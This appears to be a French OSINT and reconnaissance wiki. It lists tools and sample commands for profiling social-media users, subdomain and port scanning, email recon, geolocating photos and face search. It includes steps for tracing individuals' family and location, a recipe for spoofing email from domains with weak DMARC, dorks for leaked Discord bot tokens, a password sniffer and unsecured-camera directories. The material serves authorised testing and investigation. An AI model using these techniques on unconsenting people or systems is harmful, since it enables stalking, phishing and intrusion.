Chercher par page\_id:&#x20;

facebook.com/\<page\_id>

Chercher par group\_id:&#x20;

facebook.com/groups/\<group\_id>

## Collecte d'informations sur un profile

1. check la section "à propos" dans on a tendance à donner beaucoup d'informations.
2. check dans "more" > "check-ins" si la personne a partagé sa position.
3. Dans ces amis, chercher par mot clé le nom de famille pour rechercher de la famille. Rechercher par école des camarades de classe etc.
4. Rechercher des amis en commun avec facebook.com/browse/mutual\_friends/?uid=\&node=&#x20;

&#x20;      ressource: <https://plessas.net/facebookmatrix>

1. Rechercher le nom d'utilisateur dans le marketplace facebook, si la personne en fait parti on peut2

## Collecte d'informations sur un group

1. check la section "à propos".
2. check le(s) admin(s)
3. Faire de la collecte d'info sur le(s) admin(s

## Collecte d'information sur une organisation

Aller dans "Transparence de la page" > "Voir tout".

On peut y retrouver l'historique avec la date de création de la page etc.

## Outils

* <https://www.sowsearch.info/>
* <https://intelx.io/tools?tab=facebook>

## Moteur de recherche

Tout: <https://www.facebook.com/search/top/?q=osint>

Postes: <https://www.facebook.com/search/posts/?q=osint>

Personne: <https://www.facebook.com/search/people/?q=osint>

Photos: <https://www.facebook.com/search/photos/?q=osint>

Vidéos: <https://www.facebook.com/search/videos/?q=osint>

Shop: <https://www.facebook.com/search/shop/?q=osint>

Pages: <https://www.facebook.com/search/pages/?q=osint>&#x20;

Groupes: <https://www.facebook.com/search/groups/?q=osint>

Apps: <https://www.facebook.com/search/apps/?q=osint>&#x20;

Events: <https://www.facebook.com/search/events/?q=osint>

## Live video streaming

### fb\_friend\_list\_scraper

Outil OSINT pour récupérer les noms et les noms d'utilisateur de grandes listes d'amis sur Facebook, sans être limité en débit.

Exemple d'utilisation:

```
$ fbfriendlistscraper -e your@email.com -p YourPassword123 -u <target username> -o my_file.txt
```

ressource: <https://github.com/n0kovo/fb_friend_list_scraper>


# Tik tok OSINT

## Sites

* <https://www.osintcombine.com/tiktok-quick-search>

## Mindmap

* Reconnaissance faciale / reverse image sur la photo de profil avec google image, bing image ou autre. (clic droit + ouvrir l'image dans une nouvelle onglet)

{% content-ref url="/pages/utfNS47WTUv9kWTbwafv" %}
[Reconnaissance faciale / images](/osint-recon/reconnaissance-faciale-images)
{% endcontent-ref %}

* OSINT sur le pseudonyme avec outils et/ou google dorks.

### Télécharger une vidéo

clic droit sur la vidéo > ouvrir dans une nouvelle onglet > trois points > Télécharger.

![](/files/dnFxhGr2kwRwGLQMrc1Q)


# Instagram OSINT

## Tools / Sites

* <https://inflact.com/>: Instagram multi tool

## User ID

* view-source:<https://instagram.com/\\><username>
* ctrl+f > profilePage\_XXXX

## Rechercher du contenu supprimé

Copier le lien du profile et le copier dans <https://archive.org/>.

Examiner les comptes fan si la personne est une célébrité.

### Via des google dorks

Exemple : *-site:instagram.com instagram \<username> -twitter*


# Twitter OSINT

## Sites

* <https://dash.tweetbinder.com/>: permet de créer des rapport sur hashtag, utilisateur ou mot clés de Twitter.
* <https://app.truthnest.com/>: Investigation de compte Twitter.
* <https://socialbearing.com/>: Investigation Twitter.
* <https://followerwonk.com/bio>: Recherche de profil par mot clé.
* [https://spoonbill.io/twitter/data/](https://spoonbill.io/twitter/data/hakluke/)\<username>: Monitoring des changements sur un profil.
* <https://inteltechniques.com/tools/Twitter.html>: multi OSINT tool Twitter.
* <https://tweetbeaver.com/>:  multi OSINT tool Twitter.
* <https://www.heavy.ai/demos/tweetmap>: carte twitter.
* <https://www.allmytweets.net/>: Permet de voir tous les tweets, likes, followers etc d'un compte twitter sur une seule page (dans la limite fixée par twitter).
* <https://www.twitonomy.com/>: Analyseur détaillé de compte twitter.
* <https://waybacktweets.streamlit.app/>: Interface web permettant de simplifier la recherche de tweets archivés.
* <https://tinfoleak.com/>: Leak d'infos via username.


# Discord OSINT

## Sites

* <https://disboard.org/fr/search>: moteur de recherche de serveurs publiques
* <https://discordbee.com/>: moteur de recherche de serveurs publiques
* <https://discordservers.com/browse>: moteur de recherche de serveurs publiques
* <https://discord.id/>: recherche d'utilisateur par ID
* <https://top.gg/fr>: moteur de recherche de bots
* <https://dht.chylex.com/>: tracker d'historique discord
* <https://github.com/traumatism/get-discord-bots-tokens-with-google>: google dorks pour trouver des tokens de bots


# Domaines et Sous-domaines

Sites et Outils dédiés à la reconnaissances sur des domaines et sous-domaines

## Sites :&#x20;

* <https://subdomainfinder.c99.nl/>: Énumérateur de sous-domaines.
* <https://dash.pugrecon.celes.in/>: Énumérateur de sous-domaines.
* <https://pulsedive.com/> (existe aussi en extension de navigateur) : Permet de faire de la reconnaissance sur un domaine.
* <https://crt.sh/> : permet de lister les certificats utilisés par un domaine.
* <https://www.whoxy.com/> : whois et reverse whois en ligne.
* <https://viewdns.info/>: Domain lookups.
* <https://prodomain.info/> : whois en ligne.
* <https://www.crunchbase.com/> : Permet de retrouver toutes les entités appartenant à une entreprise.
* <https://www.sitelike.org/> : Permet de retrouver des sites similaires.
* <https://www.digwebinterface.com/>: commande dig en ligne.
* <https://recon.cloud/> : Permet d'analyser l'empreinte de cloud publiques AWS pour ressortir des sous-domaines.
* <https://bgp.he.net/> : permet de trouver des ASN.
* <https://mxtoolbox.com/> : MX, DNS, DMARC... lookup.
* <https://archive.org/> : Waybackmachine (Archives de sites)
* <https://cachedview.com/> : Waybackmachine.
* <https://fullhunt.io/>: Surface d'attaque.
* <https://onyphe.io/>: servers
* <https://www.shodan.io/>: servers
* <https://socradar.io/>: deep web report.
* <https://visualping.io/>: Permet de surveiller les changements sur un site web.
* <https://www.backlinkwatch.com/index.php>: Permet de trouver tous les sites contenant un lien vers le domaine donné.
* <https://web-check.as93.net/>: Website analyzer.

## OWASP Amass

OWASP Amass est un outil permettant d'établir une cartographie réseau à partir d'un domaine de manière passive via utilisation de techniques de collecte open source mais aussi via utilisation de techniques de reconnaissance active.

Exemples d'utilisation:

*`$ amass enum -d target.com      #Effectuer l'énumération DNS et le mappage réseau des systèmes exposés à Internet`*

*`$ amass intel -whois -d target.com     #Recueillir des renseignements open source pour enquêter sur l'organisation cible (ici whois)`*

*`$ amass viz -d3 -d target.com     #Génére un resultat sous un format de carte pour analyse exploratoire`*

ressources: <https://github.com/OWASP/Amass>

## Sublist3r

Sublist3r est un outil d'énumération de sous-domaines n'utilisant que des méthodes passives (OSINT).

Exemple d'utilisation:

*`$ sublist3r -d target.com`*

ressources: <https://github.com/aboul3la/Sublist3r>

## Sudomy

Sudomy est un outil d'énumération de sous-domaine passif et actif.

Exemple d'utilisation:

*`$ sudomy -d target.com`*

ressource: <https://github.com/screetsec/Sudomy>

## Subfinder

Subfinder a le même usage que sublist3r (énumération de sous-domaines à l'aide de techniques de reconnaissance passive).

Exemple d'utilisation:

*`$ subfinder -d target.com`*

ressources: <https://github.com/projectdiscovery/subfinder>

## Assetfinder

Assetfinder a la même utilité que les outils donnés précédemment.

Exemple d'utilisation:

*`$ assetfinder target.com`*

ressource: <https://github.com/tomnomnom/assetfinder>

## Vita

Vita est un outil d'énumération de sous-domaines passif.

Exemple d'utilisation:

*`$ vita -d target.com`*

ressource: <https://github.com/junnlikestea/vita>

## Censys subdomain finder

Censys subdomain finder est un script python permettant d'utiliser l'API de Censys dans le but de rechercher des sous-domaines.

Exemple d'utilisation:

*`$ python3 censys-subdomain-finder.py target.com`*

ressource: <https://github.com/christophetd/censys-subdomain-finder>

## Cert4Recon

Cert4Recon est un outil que j'ai écrit en python qui permet de récupérer les sous-domaines d'une cible grâce à crt.sh et qui est capable de vérifier lesquels d'entre eux on un protocole http(s) actif.

Exemple d'utilisation:

*`$ ./cert4recon.py -t traget.com [-a]`*

ressource: <https://github.com/mathis2001/Cert4Recon>

## Dnsenum

Exemple d'utilisation:

*`$ dnsenum <domaine>`*

ressource: <https://github.com/fwaeytens/dnsenum>

## Httprobe

httptobe est un outil permettant de sonder dans une liste de domaines lesquels sont actifs.

Exemple d'utilisation:

*`$ cat domains.txt | httprobe`*

ressource: <https://github.com/tomnomnom/httprobe>

## Isup

Isup est un outil de reconnaissance permettant de vérifier dans une liste de sous-domaines lesquels sont actifs.

Exemple d'utilisation:

*`$ ./isup.sh subdomains.txt`*

ressources: <https://github.com/gitnepal/isup>

## Waybackurls

Waybackurls permet de relever les urls d'un domaine depuis le jour de sa création grâce à la wayback machine (<https://web.archive.org/>)

Exemple d'utilisation:

*`$ waybackurls target.com`*

ressource: <https://github.com/tomnomnom/waybackurls>

## WebHackUrls

Il s'agit de mon propre Waybackurls écrit en python.

Exemple d'utilisation:

*`$ ./webhackurls.py -d target.com`*

ressource: <https://github.com/mathis2001/WebHackUrls>

## Gau / gauplus

gau et gauplus sont des outils permettant de relever des urls connues d'un site avec la wayback machine mais aussi avec AlienVault et autre.

Exemple d'utilisation:

*`$ gau target.com`*

*`$ gau --subs target.com`*

*`$ gauplus target.com`*

ressources:&#x20;

* <https://github.com/lc/gau>
* <https://github.com/bp0lr/gauplus>

## Hakrevdns

Hakrevdns est un outil permettant d'effectuer du reverse DNS de masse.

Exemple d'utilisation:

*`$ prips <plage IP> | hakrevdns`*

ressource: <https://github.com/hakluke/hakrevdns>

## Subdomainizer

SubDomainizer est un outil conçu pour trouver des sous-domaines cachés et des secrets présents dans une page web (buckets, token etc)

Exemple d'utilisation:

*`$ python3 subdomainizer.py -u https://target.com/`*

ressource: <https://github.com/nsonaniya2010/SubDomainizer>

## Aquatone

Aquatone est un outil multifonction permettant de faire de la découverte de sous-domaines, des scans, des screenshots ainsi que des recherches de subdomain takeover.

Exemple d'utilisation:

*`$ aquatone-discover --domain target.com`*

ressources: <https://github.com/michenriksen/aquatone>

<https://medium.com/@jonathanbouman/how-i-hacked-apple-com-unrestricted-file-upload-bcda047e27e3>

## ASNmap

ASNmap est un outil permettant d'obtenir les plages IP d'une cible a partir d'un ASN, d'une IP ou d'un domaine

Exemple d'utilisation:

*`$ asnmap -d target.com`*

ressource: <https://github.com/projectdiscovery/asnmap>


# Scan de ports / web

Outils dédiés aux scan de ports et aux scan web

## Sites :

* <https://pentest-tools.com/> : Scanner de vulnérabilité web en ligne&#x20;
* <https://urlscan.io/>: Reconnaissance sur url
* <https://hackertarget.com/vulnerability-scanner/> : Scanners en ligne
* <https://www.shodan.io/>: moteur de recherche d'assets connectés à internet.
* <https://csp-evaluator.withgoogle.com/>: Recherche de misconfig dans les configurations de CSP.
* <https://securityheaders.com/>: Recherche de misconfig dans les headers.
* <https://www.backlinkwatch.com/index.php>: Permet de trouver tous les sites contenant un lien vers le domaine donné.

### Extensions:

Retire.js: Extension GoogleChrome pour analyser une application Web pour l'utilisation de bibliothèques JavaScript vulnérables.

OpenLink Structured Data Sniffer: Extension GoogleChrome qui révèle les métadonnées structurées (Microdata, RDFa, JSON-LD, Turtle, etc.) intégrées dans les documents HTML.

## Nmap

Nmap est l'outil le plus utilisé pour scanner les ports de machines distantes il est très complet et permet même d'intégrer des scripts dans les scans.

Exemple d'utilisation:

*`$ nmap -sS -sV -p<port(s)> <target IP>`*

ressources: <https://nmap.org/>

![](/files/q5291canthLQauAvHuoF)

## Masscan

Masscan est un outil de scan de ports moins complet de Nmap mais dont l'avantage est d'être plus rapide et donc plus efficace sur une grande surface d'attaque.

Exemple d'utilisation:

*`$ masscan -p<port(s)> <plage IP>`*

ressource: <https://github.com/robertdavidgraham/masscan>

## Naabu

Naabu est un outil de scan de port conçu pour être utilisé en combinaison avec d'autres outils dans le cadre de bug bounty.

Exemple d'utilisation:

*`$ echo "target.com" | naabu -silent | httpx -silent`*

ressource: <https://github.com/projectdiscovery/naabu>

## Dismap

Dismap est un outil de découverte et d'identification d'actifs.

Utilisation:

*`$ ./dismap-0.3-linux-amd64 -i <target IP>`*

ressource: <https://github.com/zhzyker/dismap>

## Whatweb

whatweb est un scanner de serveur web, il identifie le type de serveur web, les technologies web ainsi que les cms utilisés etc.

Exemple d'utilisation:

*`$ whatweb target.com`*

ressource: <https://github.com/urbanadventurer/WhatWeb>

## Httpx

httpx est un http toolkit rapide et polyvalent permettant de relever de nombreuses données sur un site web tels que le type de serveur utilisé, les technologies utilisées, le titre de la page, le code de status renvoyé etc. (peut être utilisé aussi pour lister les sous-domaines actifs)

Exemples d'utilisation:

*`$ httpx -title -sc -td -list subdomains.txt`*

*`$ cat subdomains.txt | httpx`*

*`$ cat urls.txt | httpx -p 80,81,443,3000,5801,8080,8443,8081 -t 30 -timeout 30 -nfs -sc -cl -ct -server -td -title -location`*

Envoyer vers burp ou zap:

*`$ httpx -l sub.txt -sc -cl -fr -mc 200,403 -proxy https://127.0.0.1:8080`*

ressource: <https://github.com/projectdiscovery/httpx>

guide détaillé: <https://www.hackingarticles.in/a-detailed-guide-on-httpx/>

## TLSX

TLSX est un scanner de certificat rapide et configurable axé sur la collecte de données basée sur TLS.

Exemple d'utilisation:

*`$ tlsx -so -tls-version -cipher -hash sha256`*

*`$ cat subdomain.txt | tlsx -so -tls-version -cipher -hash sha256`*

ressource: <https://github.com/projectdiscovery/tlsx>

## Nikto

Nikto est un outil de scan de vulnérabilité dédié aux sites web.

Exemple d'utilisation:

*`$ nikto -h target.com`*

ressource: <https://github.com/sullo/nikto>

## OWASP ZAP

OWASP ZAP est un outil de scan de vulnérabilité dédié aux sites web.

ressource: <https://www.zaproxy.org/>

## Wpscan

Wpscan est un outil de scan de vulnérabilité dédiés aux sites Wordpress

Exemple d'utilisation:

*`$ wpscan --url target.com`*

ressource: <https://github.com/wpscanteam/wpscan>

## Xmlrpc-scan

Xmlrpc-scan permet de scanner les méthodes xml-rpc présentes dans les sites Wordpress à la recherche de faille SSRF.

Utilisation:

*`$ xmlrpc-scan -target target.com -server http://burpcolaborator.net`*

ressource: <https://github.com/nullfil3/xmlrpc-scan>

## Cmsmap

Cmsmap est est un outil de détection de CMS qui automatise le processus de détection des failles les plus connues dans ceux-ci.

Exemple d'utilisation:

*`$ cmsmap target.com`*

ressource: <https://github.com/dionach/CMSmap>

## Joomscan

Joomscan est un outil dédié à la recherche de vulnérabilité dans les sites utilisant le CMS Joomla!

Exemple d'utilisation:

*`$ perl joomscan.pl -u target.com`*

ressource: <https://github.com/OWASP/joomscan>

## Droopescan

Droopscan est un outil dédié à la recherche de vulnérabilité dans les sites utilisant de CMS Drupal.

Exemple d'utilisation:

*`$ droopescan scan drupal -u http://target.com/`*

ressource: <https://github.com/SamJoan/droopescan>

## ApacheTomcatScanner

ApacheTomcatScanner est un scanner de vulnérabilités spécialisé dans les serveurs Apache Tomcat.

Exemple d'utilisation:

*`$ apachetomcatscanner -tt <target IP> -tp - --list-cves`*

ressource: <https://github.com/p0dalirius/ApacheTomcatScanner>

## Nginxpwner

Nginxpwner est un scanner de vulnérabilités spécialisé dans les serveurs nginx.

Exemple d'utilisation:

*`$ python3 nginxpwner.py https://target.com /path/to/targetpaths`*

ressource: <https://github.com/stark0de/nginxpwner>

## Linkfinder

Linkfinder est un outil permettant de trouver les liens et les fichiers javascript présents dans un site.

Exemple d'utilisation:

*`$ python3 linkfinder.py -i https://target.com/*`*

ressource: <https://github.com/GerbenJavado/LinkFinder>

## cf-check

cf-check permet de vérifier si un hôte est hébergé chez Cloudflare.

Exemple d'utilisation:

*`$ echo "target.com" | cf-check`*&#x20;

ressource: <https://github.com/dwisiswant0/cf-check>

## sslscan

sslscan est un outil permettant de détecter les versions SSL et Cipher d'un site web.

Exemple d'utilisation:

*`$ sslscan target.com`*

ressource: <https://github.com/rbsec/sslscan>

## Wafw00f

Wafw00f est un outil permettant de faire de la prise d'empreinte sur une url à la recherche de WAF (Web Application Firewall).

Exemple d'utilisation:

*`$ wafw00f target.com`*

ressource: <https://github.com/EnableSecurity/wafw00f>

## Cloudmare

Cloudmare est un outil simple pour trouver les serveurs d'origine des sites Web protégés par Cloudflare, Sucuri ou Incapsula avec une mauvaise configuration DNS.

Exemple d'utilisation:

*`$ python cloudmare.py -u target.com`*

ressource: <https://github.com/MrH0wl/Cloudmare>

## Arjun

Arjun est un outil de découverte de paramètres d'endpoint.

Exemple d'utilisation:

*`$ arjun -u https://target.com/endpoint`*

ressource: <https://github.com/s0md3v/Arjun>

## Katana

Katana est un framework de crawling et spidering nouvelle génération.

Exemple d'utilisation:

*`$ katana -u https://target.com`*

ressource: <https://github.com/projectdiscovery/katana>

## Galer

Un outil rapide pour récupérer des URL à partir d'attributs HTML par crawl-in.

Exemple d'utilisation:

*`$ galer -u https://target.com`*

ressource: <https://github.com/dwisiswant0/galer>

## Favirecon

Permet de faire de la reconnaissance sur une cible via le fichier favicon.ico.

Exemple d'utilisation:

*`$ favirecon -u https://target.com`*

ressource: <https://github.com/edoardottt/favirecon>

## IIS Shortname Scanner

Permet d'analyser la présence de fuite de short name dans les serveurs IIS (8.5)

Exemple d'utilisation:

*`$ java -jar iis_shortname_scanner.jar https://target.com/folder/`*

ressource: <https://github.com/irsdl/IIS-ShortName-Scanner>

## Logsensor

Un puissant outil de détection pour découvrir les panneaux de connexion et l'analyse POST Form SQLi.

Exemple d'utilisation:

*`$ python3 logsensor.py -f /patf/to/sudomains/list --login`*

ressource: <https://github.com/Mr-Robert0/Logsensor>


# Emails

Sites et Outils dédiés à la reconnaissances mail

## Sites :&#x20;

* <https://hunter.io/> (existe aussi en extension de navigateur) : Recherche d'emails par domaine ou nom de compagnie.
* <https://chromewebstore.google.com/detail/clearbit-connect-free-ver/pmnhcgfcafcnkbengdcanjablaabjplo?pli=1>: Clearbit est une extension google très interessante pour rechercher des emails avec des filtres (exp: par poste => CEO, RH...)
* <https://tools.emailhippo.com/>: email verification website.
* <https://maildump.co/>: Recherche d'emails par domaine
* <https://snov.io/email-finder>: Même usage que hunter.io.
* <https://epieos.com/> : Remonte toutes les informations disponibles sur le web à partir d'un email donné.
* <https://mxtoolbox.com/> : MX, DNS, DMARC... lookup.
* <https://dmarcadvisor.com/> : DMARC checker.
* <https://tools.redsift.com/sift/investigate> : DMARC investigation.
* <https://emkei.cz/> : Emails anonymes.

## SpoofThatMail

SpoofThatMail est un outil permettant de déterminer si les emails d'un domaine peuvent êtres usurpé ou non en analysant ses enregistrements DMARC.

Exemple d'utilisation:

*`$ sh SpoofThatMail -f target.com`*

ressource: <https://github.com/v4d1/SpoofThatMail>

## Sp00fy

Sp00fy est un simple script python permettant de vérifier si il est possible d'usurper un email au nom d'un domaine donné.

Exemple d'utilisation:

*`$ ./sp00fy.py -d target.com`*

ressource: <https://github.com/mathis2001/Sp00fy>

## MX-takeover

mx-takeover se concentre sur les enregistrements DNS MX et détecte les enregistrements MX mal configurés.

Exemple d'utilisation:

*`$ cat domains.txt | mx-takeover -w 32 -check-whois`*

ressource: <https://github.com/musana/mx-takeover>

## mosint

mosint est un framework utilisant plusieurs outils d'OSINT d'email pour en regrouper les résultats.

Exemple d'utilisation

*`$ go run . -e target@mail.com -all`*

ressource: <https://github.com/alpkeskin/mosint>

## Usurpation d'email

* Vérifier les configurations de la spécification DMARC avec un des sites présenté en haut de cette page.
* Si p=none alors le domaine est vulnérable.
* Dans ce cas utiliser le site <https://emkei.cz/> pour vérifier que l'email est bien reçu.


# Réseau

Outils dédiés à la reconnaissance réseau

## Ping

Ping est le nom d'une commande informatique permettant de tester l'accessibilité d'une autre machine à travers un réseau IP. La commande mesure également le temps mis pour recevoir une réponse, appelé round-trip time. Ping utilise une requête ICMP Request et attend une réponse Reply.

Exemple d'utilisation:

*`$ ping [<IP>|<domain>]`*

ressource: <https://linux.die.net/man/8/ping>

## Traceroute

Traceroute est un programme utilitaire qui permet de suivre les chemins qu'un paquet de données va prendre pour aller de la machine locale à une autre machine connectée au réseau IP.

Exemple d'utilisation:

*`$ traceroute [<IP>|<domain>]`*

ressource: <https://linux.die.net/man/8/traceroute>

## mtr

mtr est une combinaison des commandes ping et traceroute. C'est un outil de diagnostic réseau qui envoie continuellement des paquets en montrant le temps de ping pour chaque paquet. Il affiche également les problèmes réseaux sur la route emprunté.

Exemple d'utilisation:

*`$ mtr [<IP>|<domain>]`*

ressource: <https://linux.die.net/man/8/mtr>

## Wireshark

Wireshark est un analyseur de paquets libre et gratuit. Il est utilisé dans le dépannage et l’analyse de réseaux informatiques, le développement de protocoles, l’éducation et la rétro-ingénierie.

ressource: <https://www.wireshark.org/>

## TCPDump

tcpdump est un analyseur de paquets en ligne de commande. Il permet d'obtenir le détail du trafic visible depuis une interface réseau.

Exemple d'utilisation:

*`$ tcpdump -i eth0`*

ressource: <https://www.tcpdump.org/>

## Nirsoft Sniffpass

Sniffpass est un sniffer de réseau permettant de rechercher directement les mots de passes passants en clair via les protocoles non sécurisés tels que POP3, IMAP4, SMTP, FTP, et HTTP.

ressource: <https://www.nirsoft.net/>


# Screenshots

## Eyewitness

Eyewitness est un outil permettant de prendre des captures d'écran d'une liste d'urls pendant la phase de reconnaissance et qui envoie un rapport sous forme de fichier html.

Exemple:

*`$ eyewitness -f urls.txt -d screens`*

ressource: <https://www.kali.org/tools/eyewitness/>

## Cutycapt

Cutycapt est un outil de capture d'écran de pages web natif à kali linux.

*`$ cutycapt --url=<url> --out=out-file-name.png`*

ressource: <https://www.kali.org/tools/cutycapt/>

## One liner

### Screenshots sur un range d'IP

```bash
IP="192.168.0"; for p in '80' '443'; do for i in $(seq 0 5); do TAKE_SS=$(cutycapt --url=$IP.$i:$p --out=$IP.$i:$p.png); done; done
```


# Live camera

## Sites

* <https://www.meteoblue.com/fr/meteo/webcams>: webcams météo
* <http://www.insecam.org/>: Le plus grand répertoire mondial de caméras de surveillance en ligne. Sélectionnez un pays pour regarder en direct les webcams en ligne de rue, de circulation, de parking, de bureau, de route, de plage et autre. Vous pouvez désormais rechercher des webcams en direct dans le monde entier. Vous pouvez trouver ici Axis, Panasonic, Linksys, Sony, TPLink, Foscam et beaucoup d'autres caméras vidéo réseau disponibles en ligne sans mot de passe. Le navigateur Mozilla Firefox est recommandé pour regarder les caméras réseau.
* <https://www.webcamtaxi.com/en/map.html>: Cette carte des webcams en direct du monde WebcamTaxi vous montre toutes les caméras HD en direct du monde entier, y compris les principales villes comme [Paris ](https://www.webcamtaxi.com/en/paris-live-webcams.html)[ (Île-de-France](https://www.webcamtaxi.com/en/france/ile-de-france.html) ), [Berlin](https://www.webcamtaxi.com/en/germany/berlin.html) , [Londres](https://www.webcamtaxi.com/en/england/london/tower-bridge.html) , [Venise ](https://www.webcamtaxi.com/en/venice-live-webcams.html)[ (Vénétie](https://www.webcamtaxi.com/en/italy/veneto.html) )ou [New York](https://www.webcamtaxi.com/en/usa/new-york.html)...
* <https://www.skylinewebcams.com/webcam.html>
* <https://worldcam.eu/>
* <https://worldcams.tv/>
* <https://www.livebeaches.com/>: plages seulement.
* <https://cipher387.github.io/webcamcse/>: moteur de recherche.
* <https://airportwebcams.net/>: Caméras d'aéroports.
* <https://www.windy.com/fr/-Webcams/webcams>: Webcams endroits populaire via la map "Windy".
* <https://otc.armchairresearch.org/map>: camera de trafic routier (USA principalement).


# Reconnaissance faciale / images

## Sites

* <https://pimeyes.com/>
* [https://facecheck.id/](https://facecheck.id/fr)
* <https://images.google.com/>
* <https://yandex.com/images/>
* <https://go.mail.ru/search_images>

## Tips

Utiliser une application de vieillissement / rajeunissement, ajout / suppression de barbes ou de lunettes peut parfois permettre d'obtenir des résultat intéressant sur un individu. (photos de la personne plus jeune par exemple)

## Telegram

<mark style="color:blue;">@findfacerobot</mark>


# Images

## Sites

* <https://image.baidu.com/>: baidu image
* <https://tineye.com/>: reverse image search
* <https://www.bing.com/?scope=images&nr=1&FORM=NOFORM>: bing image
* <https://www.google.com/imghp>: google image
* <https://yandex.com/images/>: yandex image
* <https://geospy.web.app/>: IA based image OSINT
* <https://fotoforensics.com/>: forensic
* <https://aperisolve.fr/>: forensic
* <https://besticon.herokuapp.com/>: flavicon finder
* <https://exifdata.com/>: Extracteur de métadonnées

## Géolocalisation

### Méthodologie

* Analyser l'image
* Utiliser les éléments de la photo
* Affiner le résultat
* Manuellement
* Avec OpenStreetMap
* Avec Overpass Turbo
* Vérification des résultats

### Analyser l'image

première étape, analyser la photo visuellement. Quels sont les différents éléments reconnaissables et sur quel plan sont-ils ?

Ensuite on va regarder si la photo ne contient pas tout simplement des données de géolocalisation dans ses métadonnées.

Pour ceci on peut utiliser un outil en ligne tel que <https://exifdata.com/> ou un équivalent en ligne de commande (exiftool).

### Utiliser les éléments de la photo

Pour cette partie, on va tenter de trouver des informations en décomposant la photo en plusieurs parties contenant les éléments ayant le plus de potentiel pour être reconnaissables (Une montagne, un batiment particulier/original, Une route, une église...)

On peut faire cette distinction avec Google Image qui permet de rechercher tout en recadrant l'image comme souhaité.

Une fois qu'un ou plusieurs élément ont pu être reconnu, on va tenter de retrouver l'angle dans lequel la photo a été prise grâçe à plusieurs photos existantes ou en se baladant sur Google Earth.

### Affiner le résultat

Afin d'affiner le résultat, on peut ensuite utiliser les cartes spécifiques de la section Maps afin de trouver potentiellement un point plus précis à placer sur la carte.

Exemple: Une ligne éléctrique avec un poteau en France peut être retrouvé avec la carte <https://data.enedis.fr/pages/cartographie-des-reseaux-contenu/>.

Un avion ou un bateau peut être retrouvé avec <https://www.flightradar24.com/> ou <https://www.marinetraffic.com/>.

### Manuellement

Si besoin, on peut également essayer de cumuler les informations trouvées pour rechercher manuellement la localisation via Google Street Map.

### Avec OpenStreetMap

OpenStreetMap est une carte utile pouvant délimiter des éléments tels que des routes, des champs, des lignes éléctriques etc ce qui peut devenir très utile dans le cas d'une investigation de Geoint.

### Overpass Turbo

Dernière solution, utiliser les scripts d'Overpass Turbo qui nécessite une bonne connaissance de l'outil et qui n'est pas aisé à prendre en main.

### Vérification des résultats

Finalement, une fois tous les éléments en notre posséssion, on doit alors être capable de géolocaliser la photo avec une grande précision sur Google map.


# Maps

## Sites

### Multifonctions:

* <https://maps.google.com>: google maps
* <https://overpass-turbo.eu/>: maps info via code
* <https://www.bing.com/maps>: bing maps
* <https://n.maps.yandex.ru/>: yandex maps
* <https://cipher387.github.io/osintmap/>: ressources osint par pays
* [https://kartaview.org](https://kartaview.org/map/): map similaire à Google Street map mais communautaire et avec des emplacements qu'on ne peut pas retrouver dans Street map.
* <https://www.whatiswhere.com/>: Equivalent de Overpass turbo plus user friendly.

### Réseaux sociaux

* <https://birdhunt.co/>: Tweet géolocalisation.
* <https://www.heavy.ai/demos/tweetmap>: geoloc tweeter.
* <https://map.snapchat.com/>: map snapchat

### Transports

#### Aérien

* <https://www.flightradar24.com/>: vols d'avions commerciaux en temps réel
* <https://globe.adsbexchange.com/>: vols de tout type d'avions (même jet privés) en temps réel
* <https://www.flightera.net/>: Même principe.
* <https://bea.aero/>: Bureau des enquêtes ouvertes (aviation civile).

#### Maritime

* <https://www.marinetraffic.com/>: traffic maritime en temps réel.
* <https://globalfishingwatch.org/>: Carte bateaux de pêche.

#### Ferroviaire

* <https://carto.graou.info>: Carte des lignes ferroviaires en temps réel (France).
* <https://mobility.portal.geops.io/>: Carte des transports publiques mondiaux.

#### Cameras

* <https://otc.armchairresearch.org/map>: collection de caméra routières ouvertes sur une map (principalement USA).
* <https://www.windy.com/fr/-Webcams/webcams>: collection de caméra routières ouvertes sur une map (Mondial).

### Météo

* <https://www.strava.com/heatmap>: map des chaleurs
* [www.windy.com](https://www.windy.com/): map météo
* <https://firms.modaps.eosdis.nasa.gov/map/>: Carte des feux.
* <https://renass.unistra.fr/>: Carte des séismes.

### Nature

* <https://peakvisor.com/>: Carte montagnes

### Bâtiments

* <https://osmbuildings.org/>: carte en 3D pour identification de buildings.
* <https://skyscraperpage.com>: BDD plus map de skyscrapers.
* <https://demo.f4map.com/>: Modélisation 3D des bâtiments avec filtres interessents (position du soleil par rapport au moment de la journée, relief, météo...).

### Archives

* <https://livingatlas.arcgis.com/wayback/>: Carte permettant d'observer des archives d'imagerie satellite.

### Streetarts

* <https://streetartcities.com/>: Cartes spécialisées dans la localisation de street art.
* <https://graffiti-database.com/>: Pas une carte mais dans le même thème.

### Energies / Télécom

* <https://data.enedis.fr/pages/cartographie-des-reseaux-contenu/>: Carte des réseaux exploités par Enedis.
* <https://cartefibre.arcep.fr/>: Carte des déploiements de fibre. (France)
* <https://wigle.net/>: Carte des télécommunications sans fils
* <https://enb-analytics.fr/index.html>: Cartes télécom.
* <https://asnlookup.com/>: Recherche d'ASN
* <https://opencellid.org/>: Carte des antennes cellulaires.
* <https://www.cellmapper.net/>: Carte des antennes cellulaires.

### Geopolitique

* <https://liveuamap.com/>: map suivi des nouvelles (Ukraine, USA, Palestine...)
* <https://threatmap.checkpoint.com/>: live cyber threat map

### Distances

* <https://www.acscdg.com/>: Mesure de distances

### Autres

* <http://andrewmarsh.com/apps/staging/sunpath3d.html>: Pas vraiment une map mais utile pour le geosint, il s'agit d'un outil beaucoup plus technique permettant de visualiser la position du soleil, l'azimuth, la logueur des ombres etc...).
* <https://www.geoportail.gouv.fr/>: FR.
* <https://cadastre.data.gouv.fr/>: Cadastres FR.
* <https://immobilier.pappers.fr/>: Carte de l'immobilier en France.
* <https://urbexology.com/>: Carte collaborative répertoriant les bâtiments abandonnés.

## Google maps OSINT

#### Regarder les streets view archivés

![](/files/BSAAGHYwjWjikXuNKni2)

#### Mesures de distances

Exemple: Paris

![](/files/c3ZJdw3hQRJlXsC8EVbX)

Clic droit sur la carte > "Mesurer une distance".

![](/files/Eh3hUr8faxXTBbsE1sAO)

Clic droit sur un autre point > "Mesurer jusqu'ici".

![](/files/78R82rJrlZCllh5g4bOX)

![](/files/5Z1GH7FqJZ95Wwh6sdRL)

Clic gauche pour ajouter d'autres points.

![](/files/Vm4S4iG9SLkIWFlGpm7Z)


# Active Directory

Liste d'outils dédiés à la reconnaissance d'active directory

## Sites

